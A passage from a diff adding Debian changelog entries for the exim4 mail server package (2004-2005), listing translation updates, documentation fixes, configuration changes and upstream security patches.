+ * Fix minor typos in README.Debian.xml and changelog. (mh)
+ * Add 255.255.255.255 to ignore_target_hosts in dnslookup. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 2 Nov 2005 19:40:22 +0000
+
+exim4 (4.54-1) unstable; urgency=low
+
+ * new upstream version 4.54. (mh)
+ * fix typo in router/real_local header
+ * add same_domain_copy_routing to router/hubbed_hosts
+ * [update-exim4.conf.8] false friend: s/sensible/sensitive/.
+ Thanks to Ross Boylan. (am) Closes: #330975
+ * modify broken outlook express 4 authenticator so that it only
+ advertises on encrypted connections, as the other plaintext
+ authenticators do. Thanks again, Fred Viles. (mh)
+ * update-exim4.conf.8: alphabetically sort REPLACEMENT PATTERNS and
+ CONFIGURATION VARIABLES sections, add documentation for
+ DEBCONFlocal_domainsDEBCONF.
+ Thanks to Ross Boylan. (mh) Closes: #330980
+ * fix bashism == in init script. Thanks to Adam D. Barratt and
+ Justin Pryzby. (mh) Closes: #331299
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 4 Oct 2005 09:59:24 +0000
+
+exim4 (4.53-1) unstable; urgency=low
+
+ * new upstream version 4.53. (mh)
+ * Fix obviously unfinished sentence in update-exim4.conf.8
+ documenting dc_local_interfaces. (mh)
+ * Move SMTP authentication docs to README.Debian. (mh)
+ * Adapt reportbug script to be useable from the command line as well,
+ mention this in README.Debian mailing list paragraph. (mh)
+ * Remove /etc/default/exim4 in exim4-config's postrm instead of exim4-base's
+ one, as it is created in exim4-config's postinst. (am) Closes: #325901
+ * Fix error in README.Debian.xinetd.
+ Thanks to Diego Biurrun. (mh) Closes: #327847
+ * Fix substitute variable in Japanese (ja) debconf translation.
+ Thanks to Kenshi Muto. (mh) Closes: #329729
+ * Add lintian override for maintainer-script-needs-depends-on-netbase. We
+ don't need that depends since update-inetd.conf is checked for presence
+ before invocation and that invocation is only optional cleanup. (mh)
+ * add linda override to kill double shlib warning - libgnutls is
+ fully versioned and thus is not a problem. (mh)
+ * add lintian override to kill bashism "local" warning for
+ exim4-config.config and exim4-config.postinst (see #330548). (mh)
+ * add general package blurb to description of the exim4 meta package
+ as well. Thanks to Marc Sherman for pointing this out. (mh)
+ * remove code to escape dashes in the pod2man generated man pages.
+ That code makes the man pages syntactically invalid, we'd rather
+ live with suboptimal rendering (which is a pod2man bug anyway). (mh)
+ * change spacing for rewrite rules in configuration, man page and
+ ue4.conf to ease paragraph filling for the man page. (mh)
+ * re-pack config patches. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 28 Sep 2005 18:34:51 +0000
+
+exim4 (4.52-2) unstable; urgency=low
+
+ * unpack/pack configs to get clear EDITME patches (mh)
+ * Update ca (Catalan) translation.
+ Thanks to Aleix Badia i Bosch. (mh) Closes: #317429
+ * Update mk (Macedonian) translation.
+ Thanks to Georgi Stanojevski. (mh) Closes: #320231
+ * Use certtool from gnutls-bin in cron.daily to re-generate gnutls-params
+ instead of only removing the file and letting exim4 re-generate it at SMTP
+ time after receiving STARTTLS. The maximum runtime of certtool is limited
+ to 2*1800 seconds per default by using timeout.pl by Piotr Roszatycki
+ (checked and beautified by Marc 'HE' Brockschmidt). Add gnutls-bin to
+ exim4-base' Suggests. (am) Closes: #285371
+ * Build-Depend on libgnutls-dev (from gnutls12) instead of libgnutls11.
+ * Drop compability with debhelper in woody (am):
+ - mv *.templates.master *.templates
+ - update po/POTFILES.in accordingly.
+ - no more manual invocation of po2debconf in debian/rules
+ - use dh_installppp instead of manual dh_installdirs/dh_install.
+ Closes: #212893
+ - Build-Depends: debhelper (>= 4.1.68)
+ * drop upgly passwd dependency introduced in 4.30-6. (am)
+ * shorten Build-Depends by replacing "libxfoo-dev|xlibs-dev' with just
+ 'libxfoo-dev'. (am)
+ * Do not try to authenticate to smarthost if smarthost offers AUTH LOGIN but
+ passwd.client does not contain a matching entry. (am) Closes: #323565
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 21 Aug 2005 11:44:27 +0200
+
+exim4 (4.52-1) unstable; urgency=low
+
+ * new upstream version 4.51. (mh)
+ * adapt 70_remove_exim-users_references
+ * remove 37_gnutlsparams
+ * adapt 36_pcre
+ * adapt 31_eximmanpage
+ * fix package priorities to have them in sync with override again. (mh)
+ * Fix error in nb (Norwegian) translation.
+ Thanks to Helge Hafting. (mh). Closes: #315775
+ * Standards-Version: 3.6.2, no changes needed. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 2 Jul 2005 06:08:34 +0000
+
+exim4 (4.51-2) unstable; urgency=low
+
+ * Fix typo in exiwhat.8. (am) Closes: #313246
+ * Clarify tls_verify_certificates documentation in
+ conf.d/main/03_exim4-config_tlsoptions. Thanks to Wenzhuo Zhang. (mh)
+ * Accept postmaster liberally for relay_to_domains. Thanks to
+ Roderick Schertler. (mh) Closes: #313023
+ * Improve update-exim4.conf's internal run-parts to warn about ignored files
+ if running in verbose-mode. (am) Closes: #315656
+ * Make it possible to purge a previously uninstalled exim4-suite if debconf
+ has between removed since. (am) Closes: #315173
+ - Stop useless sourcing of confmodule in exim4-config.postrm.
+ - Use debconf to ask about trashing the mailqueue if debconf is available,
+ keep the queue otherwise.
+ * exim failed to setup gnutls parameters if the gnutls-param file was
+ missing. This caused TLS breakage. (am) Closes: #315650
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 28 Jun 2005 19:35:35 +0200
+
+exim4 (4.51-1) unstable; urgency=low
+
+ * new upstream version 4.51. (mh)
+ * remove 80_upstream_fix-296492
+ * remove 81_fix-kfreebsd-gnu
+ * remove 82_upstream_fix-299733
+ * remove 82_upstream_fix_299743
+ * remove 83_upstream_fix-strangelog
+ * build-depends: replace postgresql-dev with libpq-dev. (mh)
+ * apply patch to EDITME.exim4-heavy.diff from ubuntu for clearer
+ postgresql build. (mh)
+ * fix wrong dc_other_hostnames statement in manpage. Thanks to
+ Daniel Hermann. (mh) Closes: #311023
+ * give more directions how to use /etc/exim4/exim4.conf. (mh)
+ * Fix duplicated server_advertise_condition line in
+ login_saslauth_server. Thanks to Rich Aycock. (mh) Closes: #311906
+ * Conditional restarting the daemon in exim4-config.config now checks for
+ DEBCONF_RECONFIGURE=1 instead of (mis)using an internal
+ debconf-template. (am)
+ * Documentation Improvements for update-exim4.conf.8, exim4.conf.template
+ and 01_exim4-config_listmacrosdefs and README.Debian.
+ Thanks to Ross Boylan. (am/mh)
+ * New translation: et (Estonian) by Siim Põder. (mh) Closes: #312474
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 10 Jun 2005 18:57:03 +0000
+
+exim4 (4.50-8) unstable; urgency=low
+
+ * integrate TLS docs in README.Debian, remove README.TLS.
+ Thanks to Sam Morris. (mh) Closes: #310771
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 27 May 2005 07:57:14 +0000
+
+exim4 (4.50-7) unstable; urgency=low
+
+ * Documentation Only Fixes
+ - Fix grammar error in README.system_aliases. Thanks to Andreas
+ Barth on IRC. (mh)
+ - Optimize unencrypted authentication docs. Thanks to Drew Parsons.
+ (mh) Closes: #305443
+ - Clarify dc_smarthost host list processing in update-exim4.conf.8.
+ (mh) Closes: #307370
+ - Clarify split-config description in README.Debian.
+ Thanks to Luc Saffre. (mh)
+ - Fix a typo in README.Debian-accountname, thanks to Brett Parker. (mh)
+ - Fix an issue in the exim manpage creating the illusion that
+ whitespace is allowed between -d and its options.
+ Thanks to Greg Kochanski. (mh) Closes: #309174
+ - Start re-work of README.Debian FAQ.
+ - Add "should -config depend on -base" question to README.Debian FAQ.
+ - Link README.Debian to -daemon-light and -daemon-heavy, include a
+ copy of README.Debian in -config.
+ Thanks to Daniel Maier. (mh) Closes: #310118
+ * Translations
+ - Update: cy (Welsh) by Dafydd Harries. (mh) Closes: #306349
+ - New: vi (Vietnamese) by Clytie Siddall. (mh) Closes: #306613
+ - Fix typos in pt.po (Thanks, Miguel Figueire) (am) Closes: #310057
+ * Configuration Clarification
+ - move the regexps in the local part checks to macros, adapt docs.
+ Thanks to Adam M. Costello. (mh) Closes: #306094
+ * Bug Fixes
+ - preserve escape sequences like '\\N' in
+ /etc/exim4/update-exim4.conf.conf:
+ - use awk instead of sed in exim4-config.postinst (Thanks, Barry Kitson).
+ - use printf '%s\n' "$foo" instead of echo "$foo". (echo in dash would
+ swallow the second backslash)
+ - actually making this work requires changes in debconf, too,
+ see #306134.
+ - (Closes: #305957) (am)
+ - apply upstream patch from
+ http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050425/msg00035.html
+ in some circumstances, exim writes parts of /etc/passwd and/or
+ /etc/group to the reject log. This scares people. (mh)
+ - apply upstream patch from
+ http://www.exim.org/mail-archives/exim-dev/2005-April/msg00012.html to
+ only try SASL mechanisms that are actually specified in the
+ configurations. Thanks to Juergen Kreileder. (mh) Closes: #299743
+ - Build against libmysqlclient12-dev instead of libmysqlclient10-dev.
+ (am) Closes: #306970
+ - As "mail sent by smarthost; no local mail" aka satellite requires setting
+ dc_readhost always ask this question. (am) Closes: #304838
+ - Make nonsplit-config read /etc/exim4/exim4.conf.localmacros before
+ /etc/exim4/exim4.conf.template to allow macros here as well. (mh)
+ - Make it clear that "broken debconf" warning is issued by
+ exim4-config.postinst
+ - Make sure that "generated, do not touch" disclaimer in
+ /var/lib/exim4/config.autogenerated always appears
+ - [exim4-config] As the.config script stores answers in debconf's db and the
+ postinst actually generates configurations files from these values
+ restarting the daemon on dpkg-reconfigure has to be done in postinst. (am)
+ Closes: #310703
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 26 May 2005 17:47:24 +0000
+
+exim4 (4.50-6) unstable; urgency=low
+
+ * fix some errors in update-exim4.conf(8) manpage. (am)
+ * more macros in config. (mh)
+ * Apply upstream fix: $primary_hostname is now expanded in
+ cyrus_sasl authenticator. Thanks to Juergen Kreileder, and of
+ course Philip Hazel. (mh) Closes: 299733
+ * fix conftype none missing "| \" bug, again. Thanks to Andrew Nimmo
+ and Gabriel L. Briones III. (mh) Closes: 303351.
+ * The upstream fix for #296492 sometimes causes an endless loop. Update
+ patch with correction from Philip's commit, revision 1.10. (mh)
+ * Document real_local router. (mh)
+ * Add instructions about how to use inetd. Thanks to Ryan Underwood.
+ (mh) Closes: #304436
+ * Fix wrong file header in 100_exim4-config_domain_literal. (mh)
+ * Fix bad english in 01_exim4-config_listmacrosdefs. (mh)
+ * conf.d/main/02_exim4-config_options: Remove macro effort for options
+ that we leave at their default by default anyway, re-commenting them
+ for reference. (am)
+ * Allow cleartext client AUTH PLAIN and AUTH LOGIN by setting a
+ macro. (mh)
+ * Update information in README.SMTP-AUTH. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 17 Apr 2005 19:10:26 +0000
+
+exim4 (4.50-5) unstable; urgency=low
+
+ * move exim4-config-simple and exim4-config-medium from the main
+ source package to keep them from being released.
+ * document the fact that the check done by update-exim4.conf does
+ not detect all possible errors and fails with errors that are inside
+ expanded items in the config file. Thanks to Marc Sherman.
+ (mh) Closes: 286721
+ * Add examples for cyrus_sasl to conf.d/auth/30_exim4-config_examples.
+ Thanks to Juergen Kreileder. (mh) Closes: #299732
+ * remove --dry-run from 10_daemon_close_fds.dpatch so that failures
+ to patch cause failure. Thanks to Gergely Nagy, and apologies for
+ blaming it on dpatch (see #297670). (mh)
+ * remove ACL example file, incorporate DNSBL examples (without
+ actual DNSBL domains) into main config. The example file hasn't been
+ updated in ages, and the main config file has become quite
+ sophisticated by itself. (mh)
+ * add example authenticators for courier authdaemon. (mh)
+ * have exim4-base recommend psmisc. Thanks to Thiemo Seufer.
+ (mh) Closes: #299858
+ * apply upstream patch fixing fallback handling. Thanks to Laurent Fousse.
+ (mh) Closes: #296492
+ * add patch to allow building on kfreebsd-gnu. Thanks to Robert
+ Millan. (mh) Closes: #300967
+ * remove 10_daemon_close_fds since this might close FDs which might
+ be used by other libraries such as libnss-ldap. Thanks to Antonio
+ Kanouras for reporting and testing, and to Florian Weimer for
+ debugging. To avoid #297607 from happening again, use db_stop in
+ exim4-config.config and coordinate with the d-i team. Thanks to
+ Frans Pop for testing. (mh) Closes: #299051
+ * make pidfile paths in init script variables. (mh)
+ * Update bs (Bosnian) debconf templates. Thanks to Safir Secerovic.
+ (mh) Closes: #301940
+ * Fix update-exim4.conf to actually remove the DEBCONF stuff from
+ configuration. Thanks to Jason Spiro. (mh)
+ * correctly translate an empty debconf option visiblename to an
+ _unset_ qualify_domain, not a qualify_domain set to the empty string.
+ Thanks to Miquel van Smoorenburg. (mh) Closes: #302060
+ * update-exim4.conf ignored the setting of dc_use_split_config and
+ always used the data from split config for conftype none. (am)
+ * Document #301988 (base-config) in README.Debian to offer an
+ explanation for a long delay restarting exim right after Debian
+ installation. (mh)
+ * Fix exim4-config.NEWS and exim4-config.postinst, documenting the
+ mailname change there. This should act as a heads-up to people who
+ do funky things with their ue4.conf.conf which might overwrite the
+ fixup intrduced by the maintainer script. Thanks to Vincent
+ Lefevre. (mh) Closes: #301906
+ * Make Maildir location configurable via exim macro. Thanks to
+ Frederic Lehobey. (mh) Closes: #302215
+ * pull update-exim4.conf.conf file name in shell variables
+ * liberally use .ifdef in conf.d files which changed in this release
+ anyway. This is part of the process to fix #297603. (mh)
+ * Adapt formatting policy to conf.d files which were changed. (mh)
+ * Improve on Debconf documentation in update-exim4.conf.conf and
+ the configuration templates. This partly addresses #289959. (mh)
+ * re-work ue4.conf man page, also addressing #289959. (mh)
+ * add a comment about caseless postmaster to
+ conf.d/router/400_exim4-config_system_aliases. (mh)
+ * print script name and parameters when debugging. (mh)
+ * update-exim4.conf now gives a better error message if
+ ue4.conf.conf does not exist. (mh)
+ * ue4.conf.template: If a relative output path is given, actually
+ put the file there and not in a path relative to
+ /etc/exim4/conf.d. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 3 Apr 2005 07:20:17 +0000
+
+exim4 (4.50-4) unstable; urgency=low
+
+ * fix 10_daemon_close_fds.dpatch to actually apply again. Sheesh.
+ Thanks to Joey Hess. (mh) Closes: #297607
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 2 Mar 2005 07:38:52 +0000
+
+exim4 (4.50-3) unstable; urgency=low
+
+ * actually enable dlopen patch, show this in package descriptions.
+ Thanks to Andrej KOLESNIKOV. (mh) Closes: #297282
+ * Have exim4-config conflict with -daemon (<<4.50), as we use
+ submission/sender_retain which is not supported by earlier daemons.
+ Thanks to Echo Nolan. (mh) Closes: #297501
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Mar 2005 06:45:26 +0000
+
+exim4 (4.50-2) unstable; urgency=low
+
+ * now use WITH_OLD_DEMIME as discussed on pkg-exim4-devel. (mh)
+ * postinst: add "This is a Debian specific file" to ue4.c.c. (mh)
+ * fix exim.8 manpage to point to exim4 instead of exim.
+ (mh) Closes: #296864
+ * fix update-exim4.conf.8 man page to correctly document that
+ multiple smarthosts are supported and non-SMTP ports are not. Thanks
+ to Dan Jacobson. (mh) Closes: #283560
+ * Add --output option to update-exim4.conf.template. Thanks to Marc
+ Sherman. (mh/am) Closes: #296597
+ * Compile with cyrus_sasl authentication mechanism, add libsasl2-dev to
+ Build-Depends. Thanks to Sean Middleditch and Gergely Risko. (mh)
+ Closes: #296203, #292906.
+ * document that dc_localdelivery does not have a corresponding
+ Debconf option.
+ * Introduce ue4c_comments for /etc/exim4/update-exim4.conf.conf to
+ set default for keepcomments/removecomments from the config file.
+ Thanks to Greg Folkert. (mh) Closes: #295735
+ * Use "control = submission/sender_retain" to fixup relayed messags instead
+ of only adding a Message-ID with a warn-statement. (am) Closes: #285235
+ * Add force-stop to the init script. Thanks to Jari Aalto. (mh)
+ Closes: 271686
+ * tighten local parts checks. Thanks to Jari Aalto. (mh) Closes: #273302
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Feb 2005 16:33:05 +0000
+
+exim4 (4.50-1) experimental; urgency=low
+
+ * new upstream version
+ * kill exiscan patch as it is now included upstream
+ * deliver configuration which will compile daemon-heavy with the
+ built-in exiscan
+ * convert package to svn on svn.debian.org with a debian/-only
+ layout. (mh)
+ * remove 37_kbsd-gnu patch on bug submitter's request (doesn't apply
+ cleanly). (mh)
+ * fix bad German translation of a debconf template. Thanks to Hanno
+ Wagner. (mh) Closes: #291671
+ * allow option passing to updatex-exim4.conf from init script.
+ Thanks to Stephen Gran. (mh) Closes: #285973
+ * change commented out example for reverse DNS RCPT check to catch
+ deferrals as well. Thanks to Marc Sherman. (mh) Closes: #291832
+ * Update ko (Korean) debconf templates. Thanks to Seo Sanghyeon.
+ (mh) Closes: #292607
+ * Update sq (Albanian) debconf templates. Thanks to Elian Myftiu.
+ (am) Closes: #284529
+ * New gl (Galician) debconf templates. Thanks to Jacobo Tarrío.
+ (mh) Closes: #295562
+ * use #!/bin/bash in reportbug script as a quick fix until #294954
+ is fixed one way or the other in reportbug.
+ * Minor fix to de (German) debconf templates. Thanks to Dennis
+ Stampfer. (mh) Closes: #294815
+ * add bad hack authenticator to support outlook express 4.xx. (mh)
+ * streamline server authenticator names. (mh)
+ * 60_convert4r4.dpatch: patch convert4r4 to prevent execution of the
+ script without people reading a prominent warning. (mh)
+ * re-work debian/control again, pointing people towards
+ pkg-exim4-users to make upstream a little bit less unhappy.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 18 Feb 2005 15:31:12 +0000
+
+exim4 (4.44-2) unstable; urgency=low
+
+ * re-work debian/control to make lintian happy, make descriptions
+ more orthogonal. (mh)
+ * kill build-conflicts on libperl-dev (=5.8.4-1). (mh)
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 27 Jan 2005 13:45:45 +0100
+
+exim4 (4.44-1) experimental; urgency=low
+
+ * New upstream bugfix-only release (exiscan-acl 4.44-28).
+ - Fixes eximstats' generation of pie charts by volume. (Closes: #286074)
+ - Reset the locale to "C" after calling embedded Perl. (Closes: #283538)
+ - includes 66_cipherpreferences.dpatch,
+ 66_can2005-0021_can2005-0022.dpatch, 65_tidydb-spool.dpatch,
+ 62_statvfs.dpatch.
+ * Fix (commented) example for AUTH LOGIN with saslauthd (Thanks, Maik
+ Broemme). (Closes: #291205)
+ * tl (Tagalog) translation of debconf templates by eric pareja.
+ (Closes: #291184)
+ * Use db4.2. (Closes: #258311)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 23 Jan 2005 15:42:20 +0000
+
+exim4 (4.43-4) unstable; urgency=low
+
+ * Change update-exim4.conf to again generate a valid return_path (instead
+ of defering any mail to remote systems) if dc_hide_mailname='true'.
+ (Closes: #290954)
+ * Fix typo in changelog and exim4-config's NEWS.
+ * Some changes (most notably changing the interfaces exim listens on)
+ require restarting exim instead of just sending HUP. Change documentation
+ and exim4-config.config accordingly. (Closes: #290945)
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 18 Jan 2005 12:57:58 +0100
+
+exim4 (4.43-3) unstable; urgency=low
+
+ * Now that 4.44 is released upload 4.43 to unstable. ;-) Merge experimental
+ and unstable changelog.
+ * More lintian overrides. ("X" in eximon4's description has to be capital,
+ and we take care to only use settitle if it is available.
+ * make nullmailer setup and the way we use mailname a lot more sensible,
+ attacking #244095 and #280207:
+ - mailname is not implicitely made a local domain, instead it is listed
+ explicitly in dc_other_hostnames, where users can easily remove it
+ from. (This is basically what postfix does, too.) When upgrading
+ existing installations mailname is automatically added _once_ to
+ dc_other_hostnames, on fresh installations mailname is the default
+ value of dc_other_hostnames. We store the fact that we have added
+ mailname to dc_other_hostnames in $dc_mailname_in_oh in
+ update-exim4.conf.conf.
+ - Make exim work correctly if dc_readhost ("visible, rewritten domain name
+ for local users") ends up as part of local_domain, which happens if
+ the same value is chosen for mailname and dc_readhost. This
+ implemented by new router, hub_user_smarthost. Previously users were
+ required to use something different (my.invalid.domain) for mailname.
+ - Special thanks to Christian Perrier for taking care of the
+ template translation updates.
+ * We did not substitute the current value into the debconf templates with
+ db_subst but showed the old ones from the previous debconf run.
+ * /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses!
+ * Bosnian (bs.po) translation is complete (Thanks Adis Nezirovic).
+ * Includes de.po change suggested in #286525.
+ * One-line fix for incorrect fi.po translation by Kalle Olavi Niemitalo.
+ (Closes: #288930)
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 15 Jan 2005 19:38:16 +0100
+
+exim4 (4.43-2) experimental; urgency=low
+
+ * Resync against sarge/sid (4.34-10).
+ * Translation updates:
+ - he (Hebrew) by Lior Kaplan (am) (Closes: #281249)
+ * cy (Welsh) translation of debconf templates by Dafydd Harries.
+ (am) (Closes: #282731)
+ * sq (Albanian) translation of debconf templates by Elian Myftiu. (am)
+ (Closes: #284529)
+ * allow arbitrary Sender: and envelope headers in locally submitted
+ messages, no longer force them to be the local account name at the
+ local host name. (mh)
+ * delete /var/spool/exim4/gnutls-params in cron.daily. (mh)
+ (Closes: #224269)
+ * run debian/rules update-mtaconflicts. (mh)
+ * remove outdated info from README.SMTP-AUTH and clarify corresponding
+ comments in configuration file (Closes: #281249). (am)
+ * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450). (am)
+ * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205). (am)
+ * Document /etc/email-addresses in README.Debian (Closes: #276958) (am).
+ * exim_tidydb did not work properly with split spool directory. (am)
+ * Make exim prefer stronger ciphers. (AES_256 AES_128 3DES ARCFOUR).
+ * Make the prefered local transport (maildir/mailspool) configurable in
+ update-exim4.conf.conf, attacking #250980. Document this, therefore
+ (Closes: #274597) (am)
+ * Move slightly more expensive tests in rcpt ACL further down. (This only
+ changes commented out example code.) (Closes: #267708)
+ * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302)
+ * Version dpatch build-dependency to safeguard against reintroducing this
+ bug.
+ * In comment point out that using saslauthd for SMTP AUTH requires giving
+ exim privileges to use it.
+ * New patch 66_can2005-0021_can2005-0022.dpatch from
+ http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html
+ fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022
+ (mh/am).
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 6 Jan 2005 12:33:27 +0100
+
+exim4 (4.43-1) experimental; urgency=low
+
+ * targeted for experimental since we need unstable to get new 4.34
+ versions in sarge. unstable upload will happen as soon as t-p-u is in
+ working condition.
+ * New upstream version. (am) (Closes: #274246, #267994)
+ - no more unescaped hyphens in exim.8. (Closes: #262592)
+ - no more warnings in exipick.8 (Closes: #277817)
+ - New option tls_on_connect_ports. (Closes: #265818)
+ - better documentation about differences in configuring for GnuTLS or
+ OpenSSL. (Closes: #241725)
+ - verify = header_sender now respects callout options. (Closes: #260114)
+ - There is now an overall timeout for performing a callout verification.
+ (Closes: #261511)
+ - Less typos in filter.txt. (Closes: #230545)
+ - New ACL: acl_smtp_predata, useful for greylisting. (Closes: #237947)
+ * exiscan patch 4.43-28 (mh)
+ * Use statvsf() instead of statfs(), fixing complete breakage on
+ alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and
+ debugging this. (am)
+ * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to
+ prevent similar bugs. (am)
+ * Translation updates:
+ - tr (Turkish) by Recai Oktas (#281840) (am)
+ * add lintian and linda overrides to get rid of warnings and errors. (mh)
+ * delete debian/files from config-custom, make config-custom's
+ debian/rules delete debian/files on clean. (mh)
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 21 Nov 2004 19:26:11 +0000
+
+exim4 (4.34-10) unstable; urgency=high
+
+ * urgency high because this upload fixes two minor security issues.
+ * more documentation for dc_localdelivery in update-exim4.conf.8.
+ * Move slightly more expensive tests in rcpt ACL further down. (This only
+ changes commented out example code.) (Closes: #267708)
+ * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302)
+ * Version dpatch build-dependency to safeguard against reintroducing this
+ bug.
+ * In comment point out that using saslauthd for SMTP AUTH requires giving
+ exim privileges to use it.
+ * New patch 66_can2005-0021_can2005-0022.dpatch from
+ http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html
+ fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022
+ (mh/am).
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 5 Jan 2005 10:39:03 +0100
+
+exim4 (4.34-9) unstable; urgency=low
+
+ * Translation updates:
+ - he (Hebrew) by Lior Kaplan (am) (Closes: #281249)
+ * cy (Welsh) translation of debconf templates by Dafydd Harries.
+ (am) (Closes: #282731)
+ * sq (Albanian) translation of debconf templates by Elian Myftiu. (am)
+ (Closes: #284529)
+ * new patch 64_pipeliningfixup pulled from 4.42. Exim was forgetting that it
+ had advertised PIPELINING for the second and subsequent messages on an
+ SMTP connection. Thanks to Christoph Barbian. (am) (Closes: #283230)
+ * allow arbitrary Sender: and envelope headers in locally submitted
+ messages, no longer force them to be the local account name at the
+ local host name. (mh)
+ * delete /var/spool/exim4/gnutls-params in cron.daily. (mh).
+ * remove outdated info from README.SMTP-AUTH and clarify corresponding
+ comments in configuration file (Closes: #283568) (am).
+ * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450) (am).
+ * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205) (am).
+ * run debian/rules update-mtaconflicts
+ * Document /etc/email-addresses in README.Debian (Closes: #276958) (am).
+ * exim_tidydb did not work properly with split spool directory. (am)
+ * Make the prefered local transport (maildir/mailspool) configurable in
+ update-exim4.conf.conf, attacking #250980. Document this, therefore
+ (Closes: #274597) (am)
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 7 Dec 2004 12:40:49 +0100
+
+exim4 (4.34-8) unstable; urgency=medium
+
+ * The real-life-takes-its-toll-release.
+ * Use statvsf() instead of statfs(), fixing complete breakage on
+ alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and
+ debugging this.
+ * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to
+ prevent similar bugs.
+ * Translation updates:
+ - tr (Turkish) by Recai Oktas (Closes: #281840)
+ * new patch 63_nomorecrashongnutlserror pulled from 4.40: "If a server
+ dropped the connection unexpectedly when an Exim client was using GnuTLS
+ and trying to read a response, the client delivery process crashed while
+ trying to generate an error log message." (Closes: #280647)
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 20 Nov 2004 10:52:18 +0100
+
+exim4 (4.34-7) unstable; urgency=low
+
+ * Update README.Debian.UUCP (thanks, Andreas Barth) (Closes: #271179)
+ * The hack to fix the infinite debconf loop on woody (#246742) broke
+ dpkg-reconfigure. Add an additional [ "reconfigure" != "$1" ] condition to
+ the abort clause. (Closes: #271864) (am)
+ * apply patch fixing Italian debconf translation by Danilo
+ Piazzalunga. (mh) (Closes: #274398)
+ * ro (Romanian) translation of debconf templates by Eddy Petrisor.
+ (mh) (Closes: #275414)
+ * sl (Slovenian) translation of debconf templates by Jure Cuhalev.
+ (mh) (Closes: #275090)
+ * uk (Ukrainian) translation of debconf templates by Eugeniy
+ Meshcheryakov. (mh) (Closes: #273505)
+ * mk (Macedonian) translation of debconf templates by Georgi
+ Stanojevski. (mh) (Closes: #275772)
+ * fix encoding problem in hu.po. Thanks to Christian Perrier. (mh)
+ * Hebrew translation updated. Closes: #277682 (Lior Kaplan)
+ * Norwegian Nynorsk translation fixed (commas removed and replaced by
+ dashes). Closes: #278011 (Christian Perrier)
+ * Fix commas in Macedonian, Polish, Russian translations which broke the
+ Choices list the same way they were in Norwegian Nynorsk (Christian
+ Perrier)
+ * Fix error in README.SMTP-AUTH, thanks Jari Aalto. (Closes: #276448) (am)
+ * Make update-exim4.conf more forgiving, working with files that are missing
+ the final newline. (Closes: #273279) (am)
+ * Use procmail for delivery if /either/ etc/procmailrc or ~/.procmailrc
+ exist. (Closes: #267706) (am)
+ * Shorten overlong template in Catalan (Closes: #277686) (Jordi Mallach) and
+ Brazilian translation (Closes: #278016) (Andre Luis Lopes)
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 7 Nov 2004 19:56:01 +0100
+
+exim4 (4.34-6) unstable; urgency=low
+
+ * Uploaded to test changes before we break tpu.
+ * zh_TW translation of debconf templates by Tetralet. (Closes: #267524)
+ * bg (Bulgarian) translation of debconf templates by Ognyan Kulev
+ (Closes: #267603)
+ * updated translations:
+ - nl (Dutch) by Bart Cornelis. (Closes: #268168)
+ * remove osirusoft from dnsbl examples. Thanks to Greg Kochanski for
+ noticing. Add dnsbl disclaimer. (mh) (Closes: #269501)
+ * add an example for exim-adduser. (Thanks to Jonas Meurer for the initial
+ idea, the commited version is different, though.) (mh/am) (Closes: #267792)
+ * hr (Croatian) translation of debconf templates by Krunoslav Gernhard
+ (Closes: #270578)
+ * Do not remove the Debian-exim user in "exim4-config.postrm purge".
+ Package dependencies are only effective for packages in status installed,
+ but it is clearly not sane to remove the user until all exim4-packages
+ are purged. e.g. this can completely break logrotate (Closes: #270681).
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 11 Sep 2004 10:29:26 +0200
+
+exim4 (4.34-5) unstable; urgency=low
+
+ * The let's test the changes before we upload to tpu release.
+ * updated translations:
+ - eu (Basque) by Piarres Beobide Egaña. (Closes: #261912)
+ - ca (Catalan) by Jordi Mallach. (Closes: #264842)
+ * Fix broken permissions (not readable for group/other) in upstream tarball
+ in clean target (thanks to Steve Langasek for help with find). This fixes
+ "dpkg-buildpackage -rsudo && dpkg-buildpackage -rsudo". (Closes: #262607)
+ * Stop daemon in "exim4-base.postrm remove". - Under specific circumstances
+ apt seems to purge -base before removing the depending package (-daemon),
